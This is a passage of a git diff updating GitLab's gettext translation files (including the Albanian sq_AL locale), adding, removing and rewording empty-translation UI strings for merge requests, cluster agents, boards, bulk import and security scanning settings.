-msgstr ""
-
-msgid "mrWidget|The source branch will not be deleted"
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|There are merge conflicts"
+msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|To change these default messages, edit the templates for both the merge and squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|This project is archived, write access has been disabled"
+msgid "mrWidget|To change this default message, edit the template for merge commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
+msgid "mrWidget|To change this default message, edit the template for squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "mrWidget|To merge, a Jira issue key must be mentioned in the title or description."
msgstr ""
-msgid "mrWidget|Use %{linkStart}CI pipelines to test your code%{linkEnd} by simply adding a GitLab CI configuration file to your project. It only takes a minute to make your code more secure and robust."
+msgid "mrWidget|Users who can write to the source or target branches can resolve the conflicts."
msgstr ""
msgid "mrWidget|What is a merge train?"
msgstr ""
-msgid "mrWidget|You can merge after removing denied licenses"
-msgstr ""
-
-msgid "mrWidget|You can only merge once this merge request is approved."
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
@@ -41835,6 +42513,18 @@ msgstr ""
msgid "pipeline schedules documentation"
msgstr ""
+msgid "pipelineEditorWalkthrough|Let's do this!"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|See how GitLab pipelines work"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|This %{codeStart}.gitlab-ci.yml%{codeEnd} file creates a simple test pipeline."
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|Use the %{boldStart}commit changes%{boldEnd} button at the bottom of the page to run the pipeline."
+msgstr ""
+
msgid "pod_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -42021,9 +42711,6 @@ msgstr ""
msgid "smartcn custom analyzer"
msgstr ""
-msgid "sort:"
-msgstr ""
-
msgid "source"
msgstr ""
@@ -42048,6 +42735,9 @@ msgstr ""
msgid "starts on %{timebox_start_date}"
msgstr ""
+msgid "structure is too large"
+msgstr ""
+
msgid "stuck"
msgstr ""
diff --git a/locale/sq_AL/gitlab.po b/locale/sq_AL/gitlab.po
index a49a729c2f1..7d014a31b58 100644
--- a/locale/sq_AL/gitlab.po
+++ b/locale/sq_AL/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: sq\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-11-02 00:38\n"
+"PO-Revision-Date: 2021-12-06 18:55\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -70,9 +70,6 @@ msgstr ""
msgid "\"%{repository_name}\" size (%{repository_size}) is larger than the limit of %{limit}."
msgstr ""
-msgid "\"el\" parameter is required for createInstance()"
-msgstr ""
-
msgid "#%{issueIid} (closed)"
msgstr ""
@@ -239,6 +236,11 @@ msgid_plural "%d fixed test results"
msgstr[0] ""
msgstr[1] ""
+msgid "%d fork"
+msgid_plural "%d forks"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d group"
msgid_plural "%d groups"
msgstr[0] ""
@@ -289,6 +291,11 @@ msgid_plural "%d merge requests that you don't have access to."
msgstr[0] ""
msgstr[1] ""
+msgid "%d merge requests"
+msgid_plural "%d merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d metric"
msgid_plural "%d metrics"
msgstr[0] ""
@@ -354,6 +361,11 @@ msgid_plural "%d shards selected"
msgstr[0] ""
msgstr[1] ""
+msgid "%d star"
+msgid_plural "%d stars"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d tag"
msgid_plural "%d tags"
msgstr[0] ""
@@ -407,6 +419,12 @@ msgstr[1] ""
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr ""
+msgid "%{actionText} & close %{noteable}"
+msgstr ""
+
+msgid "%{actionText} & reopen %{noteable}"
+msgstr ""
+
msgid "%{address} is an invalid IP address range"
msgstr ""
@@ -483,6 +501,11 @@ msgstr[1] ""
msgid "%{count} approvals from %{name}"
msgstr ""
+msgid "%{count} contact"
+msgid_plural "%{count} contacts"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{count} files touched"
msgstr ""
@@ -705,7 +728,7 @@ msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request draft from merging before it's ready."
msgstr ""
msgid "%{link_start}What information does GitLab Inc. collect?%{link_end}"
@@ -759,6 +782,9 @@ msgstr ""
msgid "%{name} is already being used for another emoji"
msgstr ""
+msgid "%{name} is reserved for %{type} report type"
+msgstr ""
+
msgid "%{name} is scheduled for %{action}"
msgstr ""
@@ -791,9 +817,6 @@ msgstr ""
msgid "%{oneYearAgo} - %{today}"
msgstr ""
-msgid "%{openOrClose} %{noteable}"
-msgstr ""
-
msgid "%{openedEpics} open, %{closedEpics} closed"
msgstr ""
@@ -818,6 +841,9 @@ msgstr ""
msgid "%{primary} (%{secondary})"
msgstr ""
+msgid "%{project_path} is a project that you can use to add a README to your GitLab profile. Create a public project and initialize the repository with a README to get started. %{help_link_start}Learn more.%{help_link_end}"
+msgstr ""
+
msgid "%{ref} cannot be added: %{error}"
msgstr ""
@@ -850,6 +876,9 @@ msgstr ""
msgid "%{scope} results for term '%{term}'"
msgstr ""
+msgid "%{search} %{description} %{scope}"
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -896,9 +925,6 @@ msgstr ""
msgid "%{start} to %{end}"
msgstr ""
-msgid "%{state} epics"
-msgstr ""
-
msgid "%{strongOpen}Warning:%{strongClose} SAML group links can cause GitLab to automatically remove members from groups."
msgstr ""
@@ -997,6 +1023,9 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
+msgid "%{type} only supports %{name} name"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1128,6 +1157,11 @@ msgstr ""
msgid "(revoked)"
msgstr ""
+msgid "(squashes %d commit)"
+msgid_plural "(squashes %d commits)"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "(this user)"
msgstr ""
@@ -1137,6 +1171,9 @@ msgstr ""
msgid "* All times are in UTC unless specified"
msgstr ""
+msgid "*Required"
+msgstr ""
+
msgid "+ %{amount} more"
msgstr ""
@@ -1175,6 +1212,9 @@ msgstr ""
msgid "+%{tags} more"
msgstr ""
+msgid ", and "
+msgstr ""
+
msgid ", or "
msgstr ""
@@ -1480,9 +1520,6 @@ msgstr ""
msgid "A new Release %{tag} for %{name} was published. Visit the Releases page to read more about it:"
msgstr ""
-msgid "A new branch will be created in your fork and a new merge request will be started."
-msgstr ""
-
msgid "A new impersonation token has been created."
msgstr ""
@@ -1519,9 +1556,6 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
-msgid "A string appended to the project path to form the Service Desk email address."
-msgstr ""
-
msgid "A title is required"
msgstr ""
@@ -1570,9 +1604,6 @@ msgstr ""
msgid "APIFuzzing|Choose a profile"
msgstr ""
-msgid "APIFuzzing|Code snippet could not be generated. Try again later."
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -1708,9 +1739,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied! Please verify you can add deploy keys to this repository."
-msgstr ""
-
msgid "Access denied: %{error}"
msgstr ""
@@ -1957,12 +1985,18 @@ msgstr ""
msgid "Add a related issue"
msgstr ""
+msgid "Add a suffix to Service Desk email address. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
msgid "Add a table"
msgstr ""
msgid "Add a task list"
msgstr ""
+msgid "Add a title…"
+msgstr ""
+
msgid "Add a to do"
msgstr ""
@@ -2005,6 +2039,12 @@ msgstr ""
msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
msgstr ""
+msgid "Add customer relation contact(s)."
+msgstr ""
+
+msgid "Add customer relation contacts"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2047,9 +2087,6 @@ msgstr ""
msgid "Add new directory"
msgstr ""
-msgid "Add new service account"
-msgstr ""
-
msgid "Add or remove previously merged commits"
msgstr ""
@@ -2119,6 +2156,9 @@ msgstr ""
msgid "Add variable"
msgstr ""
+msgid "Add vulnerability finding"
+msgstr ""
+
msgid "Add webhook"
msgstr ""
@@ -2164,9 +2204,6 @@ msgstr ""
msgid "Added an issue to an epic."
msgstr ""
-msgid "Added at"
-msgstr ""
-
msgid "Added for this merge request"
msgstr ""
@@ -2209,7 +2246,7 @@ msgstr ""
msgid "Adds %{labels} %{label_text}."
msgstr ""
-msgid "Adds a Zoom meeting"
+msgid "Adds a Zoom meeting."
msgstr ""
msgid "Adds a to do."
@@ -2218,7 +2255,7 @@ msgstr ""
msgid "Adds an issue to an epic."
msgstr ""
-msgid "Adds email participant(s)"
+msgid "Adds email participant(s)."
msgstr ""
msgid "Adjust how frequently the GitLab UI polls for updates."
@@ -2314,6 +2351,9 @@ msgstr ""
msgid "AdminArea|Maintainer"
msgstr ""
+msgid "AdminArea|Minimal access"
+msgstr ""
+
msgid "AdminArea|New group"
msgstr ""
@@ -2380,7 +2420,7 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
+msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. After you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
msgid "AdminProjects|Delete"
@@ -2917,19 +2957,28 @@ msgstr ""
msgid "Advanced export options"
msgstr ""
+msgid "AdvancedSearch|Reindex required"
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. You will lose this project's repository and %{strongStart}all related resources%{strongEnd}, including issues and merge requests."
+msgstr ""
+
msgid "After a successful password update you will be redirected to login screen."
msgstr ""
msgid "After a successful password update, you will be redirected to the login page where you can log in with your new password."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or code quality as well as many other features."
+msgid "After it expires, you can't use merge approvals, code quality, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many other features."
+msgid "After it expires, you can't use merge approvals, epics, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many security features."
+msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
msgid "After you've reviewed these contribution guidelines, you'll be all set to"
@@ -3520,9 +3569,6 @@ msgstr ""
msgid "An empty GitLab User field will add the FogBugz user's full name (e.g. \"By John Smith\") in the description of all issues and comments. It will also associate and/or assign these issues and comments with the project creator."
msgstr ""
-msgid "An empty index will be created if one does not already exist"
-msgstr ""
-
msgid "An error has occurred"
msgstr ""
@@ -3550,6 +3596,9 @@ msgstr ""
msgid "An error occurred fetching the project authors."
msgstr ""
+msgid "An error occurred fetching the public deploy keys. Please try again."
+msgstr ""
+
msgid "An error occurred previewing the blob"
msgstr ""
@@ -3709,6 +3758,9 @@ msgstr ""
msgid "An error occurred while loading chart data"
msgstr ""
+msgid "An error occurred while loading code owners."
+msgstr ""
+
msgid "An error occurred while loading commit signatures"
msgstr ""
@@ -3891,6 +3943,9 @@ msgstr ""
msgid "An example showing how to use Jsonnet with GitLab dynamic child pipelines"
msgstr ""
+msgid "An integer value is required for seconds"
+msgstr ""
+
msgid "An issue already exists"
msgstr ""
@@ -3930,6 +3985,9 @@ msgstr ""
msgid "Analyze your dependencies for known vulnerabilities."
msgstr ""
+msgid "Analyze your infrastructure as code configuration files for known vulnerabilities."
+msgstr ""
+
msgid "Analyze your source code and git history for secrets."
msgstr ""
@@ -3972,9 +4030,6 @@ msgstr ""
msgid "Any encrypted tokens"
msgstr ""
-msgid "Any files larger than this limit only index the file name. The file content is neither indexed nor searchable."
-msgstr ""
-
msgid "Any label"
msgstr ""
@@ -3987,9 +4042,6 @@ msgstr ""
msgid "Any namespace"
msgstr ""
-msgid "App Engine description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "App ID"
msgstr ""
@@ -4046,6 +4098,9 @@ msgid_plural "ApplicationSettings|Approve %d users"
msgstr[0] ""
msgstr[1] ""
+msgid "ApplicationSettings|Approve users"
+msgstr ""
+
msgid "ApplicationSettings|Approve users in the pending approval status?"
msgstr ""
@@ -4054,6 +4109,9 @@ msgid_plural "ApplicationSettings|By making this change, you will automatically
msgstr[0] ""
msgstr[1] ""
+msgid "ApplicationSettings|By making this change, you will automatically approve all users in pending approval status."
+msgstr ""
+
msgid "ApplicationSettings|Denied domains for sign-ups"
msgstr ""
@@ -4466,6 +4524,9 @@ msgstr ""
msgid "Are you sure you want to delete this SSH key?"
msgstr ""
+msgid "Are you sure you want to delete this deploy key?"
+msgstr ""
+
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
@@ -4669,6 +4730,9 @@ msgstr ""
msgid "Assign to commenting user"
msgstr ""
+msgid "Assign to me"
+msgstr ""
+
msgid "Assign yourself to these issues"
msgstr ""
@@ -4766,6 +4830,9 @@ msgstr ""
msgid "Audit Events"
msgstr ""
+msgid "Audit events"
+msgstr ""
+
msgid "AuditLogs|(removed)"
msgstr ""
@@ -5414,6 +5481,9 @@ msgstr ""
msgid "Billing|Users occupying seats in"
msgstr ""
+msgid "Billing|View pending approvals"
+msgstr ""
+
msgid "Billing|You are about to remove user %{username} from your subscription. If you continue, the user will be removed from the %{namespace} group and all its subgroups and projects. This action can't be undone."
msgstr ""
@@ -5491,6 +5561,9 @@ msgstr ""
msgid "BoardScope|An error occurred while getting milestones, please try again."
msgstr ""
+msgid "BoardScope|An error occurred while searching for labels, please try again."
+msgstr ""
+
msgid "BoardScope|An error occurred while searching for users, please try again."
msgstr ""
@@ -5500,12 +5573,21 @@ msgstr ""
msgid "BoardScope|Any assignee"
msgstr ""
+msgid "BoardScope|Any label"
+msgstr ""
+
msgid "BoardScope|Assignee"
msgstr ""
+msgid "BoardScope|Choose labels"
+msgstr ""
+
msgid "BoardScope|Edit"
msgstr ""
+msgid "BoardScope|Labels"
+msgstr ""
+
msgid "BoardScope|Milestone"
msgstr ""
@@ -5518,6 +5600,9 @@ msgstr ""
msgid "BoardScope|Select assignee"
msgstr ""
+msgid "BoardScope|Select labels"
+msgstr ""
+
msgid "BoardScope|Select milestone"
msgstr ""
@@ -5609,6 +5694,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New board"
+msgstr ""
+
msgid "Boards|New epic"
msgstr ""
@@ -5621,6 +5709,9 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Board|An error occurred while fetching the board, please try again."
+msgstr ""
+
msgid "Board|Are you sure you want to delete this board?"
msgstr ""
@@ -5912,10 +6003,13 @@ msgstr ""
msgid "BulkImport|Import groups from GitLab"
msgstr ""
+msgid "BulkImport|Import is finished. Pick another name for re-import"
+msgstr ""
+
msgid "BulkImport|Import selected"
msgstr ""
-msgid "BulkImport|Importing the group failed"
+msgid "BulkImport|Importing the group failed."
msgstr ""
msgid "BulkImport|Last imported to %{link}"
@@ -5924,6 +6018,9 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|Name already used as a target for another group."
+msgstr ""
+
msgid "BulkImport|New group"
msgstr ""
@@ -6169,6 +6266,9 @@ msgstr ""
msgid "Cadence is not automated"
msgstr ""
+msgid "Calculate the number of slices during reindexing. The multiplier is applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -6463,10 +6563,10 @@ msgstr ""
msgid "ChangeReviewer|Unassigned"
msgstr ""
-msgid "ChangeTypeAction|A new branch will be created in your fork and a new merge request will be started."
+msgid "ChangeTypeAction|Cherry-pick"
msgstr ""
-msgid "ChangeTypeAction|Cherry-pick"
+msgid "ChangeTypeAction|GitLab will create a branch in your fork and start a merge request."
msgstr ""
msgid "ChangeTypeAction|Pick into branch"
@@ -6517,9 +6617,6 @@ msgstr ""
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
-msgid "Changes are still tracked. Useful for cluster/index migrations."
-msgstr ""
-
msgid "Changes saved."
msgstr ""
@@ -6532,6 +6629,9 @@ msgstr ""
msgid "Changes to the title have not been saved"
msgstr ""
+msgid "Changing any setting here requires an application restart"
+msgstr ""
+
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -6595,10 +6695,10 @@ msgstr ""
msgid "Check out, review, and merge locally"
msgstr ""
-msgid "Check the current instance configuration "
+msgid "Check the %{code_open}elasticsearch.log%{code_close} file to debug why the migration halted and make any changes before retrying the migration. When you fix the cause of the failure, select %{strong_open}Retry migration%{strong_close}, and the migration is scheduled to retry in the background."
msgstr ""
-msgid "Check the elasticsearch.log file to debug why the migration was halted and make any changes before retrying the migration. When you fix the cause of the failure, click \"Retry migration\", and the migration will be scheduled to be retried in the background."
+msgid "Check the current instance configuration "
msgstr ""
msgid "Check with your administrator."
@@ -6660,6 +6760,9 @@ msgstr ""
msgid "Checkout|%{name}'s storage subscription"
msgstr ""
+msgid "Checkout|%{quantity} CI minutes"
+msgstr ""
+
msgid "Checkout|%{quantity} GB of storage"
msgstr ""
@@ -6674,9 +6777,6 @@ msgstr ""
msgid "Checkout|%{startDate} - %{endDate}"
msgstr ""
-msgid "Checkout|%{totalCiMinutes} CI minutes"
-msgstr ""
-
msgid "Checkout|(may be %{linkStart}charged upon purchase%{linkEnd})"
msgstr ""
@@ -6875,9 +6975,6 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
-msgstr ""
-
msgid "Choose a file"
msgstr ""
@@ -7175,6 +7272,9 @@ msgstr ""
msgid "Clients"
msgstr ""
+msgid "Clientside DSN"
+msgstr ""
+
msgid "Clone"
msgstr ""
@@ -7217,6 +7317,9 @@ msgstr ""
msgid "Close %{issueType}"
msgstr ""
+msgid "Close %{noteable}"
+msgstr ""
+
msgid "Close %{tabname}"
msgstr ""
@@ -7259,12 +7362,6 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
-msgid "Cloud Functions description and apps that are suitable for this deployment target"
-msgstr ""
-
-msgid "Cloud Run description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -7286,16 +7383,31 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
+msgid "ClusterAgents|%{number} of %{total} agents"
+msgstr ""
+
+msgid "ClusterAgents|%{number} of %{total} clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Access tokens"
msgstr ""
+msgid "ClusterAgents|Actions"
+msgstr ""
+
+msgid "ClusterAgents|Advanced installation methods"
+msgstr ""
+
+msgid "ClusterAgents|Agent"
+msgstr ""
+
msgid "ClusterAgents|Agent might not be connected to GitLab"
msgstr ""
msgid "ClusterAgents|Agent never connected to GitLab"
msgstr ""
-msgid "ClusterAgents|Alternative installation methods"
+msgid "ClusterAgents|All"
msgstr ""
msgid "ClusterAgents|An error occurred while loading your GitLab Agents"
@@ -7307,9 +7419,30 @@ msgstr ""
msgid "ClusterAgents|An unknown error occurred. Please try again."
msgstr ""
+msgid "ClusterAgents|Certificate"
+msgstr ""
+
msgid "ClusterAgents|Configuration"
msgstr ""
+msgid "ClusterAgents|Connect a cluster through the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect existing cluster"
+msgstr ""
+
+msgid "ClusterAgents|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the GitLab Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect your cluster through the Agent"
+msgstr ""
+
msgid "ClusterAgents|Connected"
msgstr ""
@@ -7319,6 +7452,9 @@ msgstr ""
msgid "ClusterAgents|Copy token"
msgstr ""
+msgid "ClusterAgents|Create a new cluster"
+msgstr ""
+
msgid "ClusterAgents|Created by"
msgstr ""
@@ -7328,28 +7464,31 @@ msgstr ""
msgid "ClusterAgents|Date created"
msgstr ""
+msgid "ClusterAgents|Deprecated"
+msgstr ""
+
msgid "ClusterAgents|Description"
msgstr ""
-msgid "ClusterAgents|For alternative installation methods %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Failed to register an agent"
msgstr ""
-msgid "ClusterAgents|For more troubleshooting information go to"
+msgid "ClusterAgents|For the advanced installation method %{linkStart}see the documentation%{linkEnd}."
msgstr ""
-msgid "ClusterAgents|Go to the repository"
+msgid "ClusterAgents|GitLab Agent"
msgstr ""
-msgid "ClusterAgents|Install a new GitLab Agent"
+msgid "ClusterAgents|GitLab Agent for Kubernetes"
msgstr ""
-msgid "ClusterAgents|Install new Agent"
+msgid "ClusterAgents|Go to the repository files"
msgstr ""
-msgid "ClusterAgents|Integrate Kubernetes with a GitLab Agent"
+msgid "ClusterAgents|How to register an agent?"
msgstr ""
-msgid "ClusterAgents|Integrate with the GitLab Agent"
+msgid "ClusterAgents|Install a new agent"
msgstr ""
msgid "ClusterAgents|Last connected %{timeAgo}."
@@ -7361,6 +7500,9 @@ msgstr ""
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn how to troubleshoot"
+msgstr ""
+
msgid "ClusterAgents|Make sure you are using a valid token."
msgstr ""
@@ -7373,60 +7515,78 @@ msgstr ""
msgid "ClusterAgents|Never connected"
msgstr ""
+msgid "ClusterAgents|No agents"
+msgstr ""
+
+msgid "ClusterAgents|No clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Not connected"
msgstr ""
-msgid "ClusterAgents|Read more about getting started"
+msgid "ClusterAgents|Recommended"
msgstr ""
msgid "ClusterAgents|Recommended installation method"
msgstr ""
-msgid "ClusterAgents|Registering Agent"
+msgid "ClusterAgents|Register"
msgstr ""
-msgid "ClusterAgents|Registration token"
+msgid "ClusterAgents|Register an agent to generate a token that will be used to install the agent on your cluster in the next step."
msgstr ""
-msgid "ClusterAgents|Select an Agent"
+msgid "ClusterAgents|Registering Agent"
msgstr ""
-msgid "ClusterAgents|Select the Agent you want to register with GitLab and install on your cluster. To learn more about the Kubernetes Agent registration process %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Registration token"
msgstr ""
-msgid "ClusterAgents|Select which Agent you want to install"
+msgid "ClusterAgents|Security"
msgstr ""
-msgid "ClusterAgents|The Agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
+msgid "ClusterAgents|Select an agent"
msgstr ""
-msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
+msgid "ClusterAgents|Select an agent to register with GitLab"
msgstr ""
-msgid "ClusterAgents|The GitLab Kubernetes Agent allows an Infrastructure as Code, GitOps approach to integrating Kubernetes clusters with GitLab. %{linkStart}Learn more.%{linkEnd}"
+msgid "ClusterAgents|The GitLab Agent provides an increased level of security when connecting Kubernetes clusters to GitLab. %{linkStart}Learn more about the GitLab Agent.%{linkEnd}"
msgstr ""
-msgid "ClusterAgents|The recommended installation method provided below includes the token. If you want to follow the alternative installation method provided in the docs make sure you save the token value before you close the window."
+msgid "ClusterAgents|The agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
msgstr ""
-msgid "ClusterAgents|The registration token will be used to connect the Agent on your cluster to GitLab. To learn more about the registration tokens and how they are used %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|The recommended installation method includes the token. If you want to follow the advanced installation method provided in the docs, make sure you save the token value before you close this window."
msgstr ""
-msgid "ClusterAgents|The token value will not be shown again after you close this window."
+msgid "ClusterAgents|The registration token will be used to connect the agent on your cluster to GitLab. %{linkStart}What are registration tokens?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|This agent has no tokens"
msgstr ""
-msgid "ClusterAgents|To install an Agent you should create an agent directory in the Repository first. We recommend that you add the Agent configuration to the directory before you start the installation process."
+msgid "ClusterAgents|To install a new agent, first add the agent's configuration file to this repository. %{linkStart}What's the agent's configuration file?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|Unknown user"
msgstr ""
+msgid "ClusterAgents|View all %{number} agents"
+msgstr ""
+
+msgid "ClusterAgents|View all %{number} clusters"
+msgstr ""
+
+msgid "ClusterAgents|You cannot see this token again after you close this window."
+msgstr ""
+
msgid "ClusterAgents|You will need to create a token to connect to your agent"
msgstr ""
+msgid "ClusterAgents|Your instance doesn't have the %{linkStart}GitLab Agent Server (KAS)%{linkEnd} set up. Ask a GitLab Administrator to install it."
+msgstr ""
+
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -7568,15 +7728,18 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|Clusters connected with a certificate"
-msgstr ""
-
msgid "ClusterIntegration|Connect cluster with certificate"
msgstr ""
msgid "ClusterIntegration|Connect existing cluster"
msgstr ""
+msgid "ClusterIntegration|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterIntegration|Connect your cluster to GitLab through %{linkStart}cluster certificates%{linkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Connection Error"
msgstr ""
@@ -7703,9 +7866,6 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|GitLab Agent managed clusters"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -7751,12 +7911,6 @@ msgstr ""
msgid "ClusterIntegration|Instance type"
msgstr ""
-msgid "ClusterIntegration|Integrate Kubernetes with a cluster certificate"
-msgstr ""
-
-msgid "ClusterIntegration|Integrate with a cluster certificate"
-msgstr ""
-
msgid "ClusterIntegration|Integration disabled"
msgstr ""
@@ -7778,9 +7932,6 @@ msgstr ""
msgid "ClusterIntegration|Kubernetes cluster was successfully created."
msgstr ""
-msgid "ClusterIntegration|Kubernetes clusters allow you to use review apps, deploy your applications, run your pipelines, and much more in an easy way."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes version"
msgstr ""
@@ -8081,6 +8232,9 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
+msgid "ClusterIntegration|The certificate-based method to connect clusters to GitLab was %{linkStart}deprecated%{linkEnd} in GitLab 14.5."
+msgstr ""
+
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -8135,6 +8289,9 @@ msgstr ""
msgid "ClusterIntegration|Unknown Error"
msgstr ""
+msgid "ClusterIntegration|Use the %{linkStart}GitLab Agent%{linkEnd} to safely connect your Kubernetes clusters to GitLab. You can deploy your applications, run your pipelines, use Review Apps, and much more."
+msgstr ""
+
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -8192,9 +8349,6 @@ msgstr ""
msgid "Code"
msgstr ""
-msgid "Code Coverage: %{coveragePercentage}"
-msgstr ""
-
msgid "Code Coverage: %{coveragePercentage}%{percentSymbol}"
msgstr ""
@@ -8231,6 +8385,9 @@ msgstr ""
msgid "Code review"
msgstr ""
+msgid "Code snippet"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -8656,6 +8813,12 @@ msgstr ""
msgid "Configure Prometheus"
msgstr ""
+msgid "Configure SAST IaC in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST IaC settings."
+msgstr ""
+
+msgid "Configure SAST IaC in `.gitlab-ci.yml`, creating this file if it does not already exist"
+msgstr ""
+
msgid "Configure SAST in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
msgstr ""
@@ -8668,6 +8831,9 @@ msgstr ""
msgid "Configure Secret Detection in `.gitlab-ci.yml`, creating this file if it does not already exist"
msgstr ""
+msgid "Configure Sentry integration for error tracking"
+msgstr ""
+
msgid "Configure Tracing"
msgstr ""
@@ -8707,9 +8873,6 @@ msgstr ""
msgid "Configure the way a user creates a new account."
msgstr ""
-msgid "Configure via Merge Request"
-msgstr ""
-
msgid "Configure which lists are shown for anyone who visits this board"
msgstr ""
@@ -9421,7 +9584,7 @@ msgstr ""
msgid "CorpusManagement|Latest Job:"
msgstr ""
-msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 10GB"
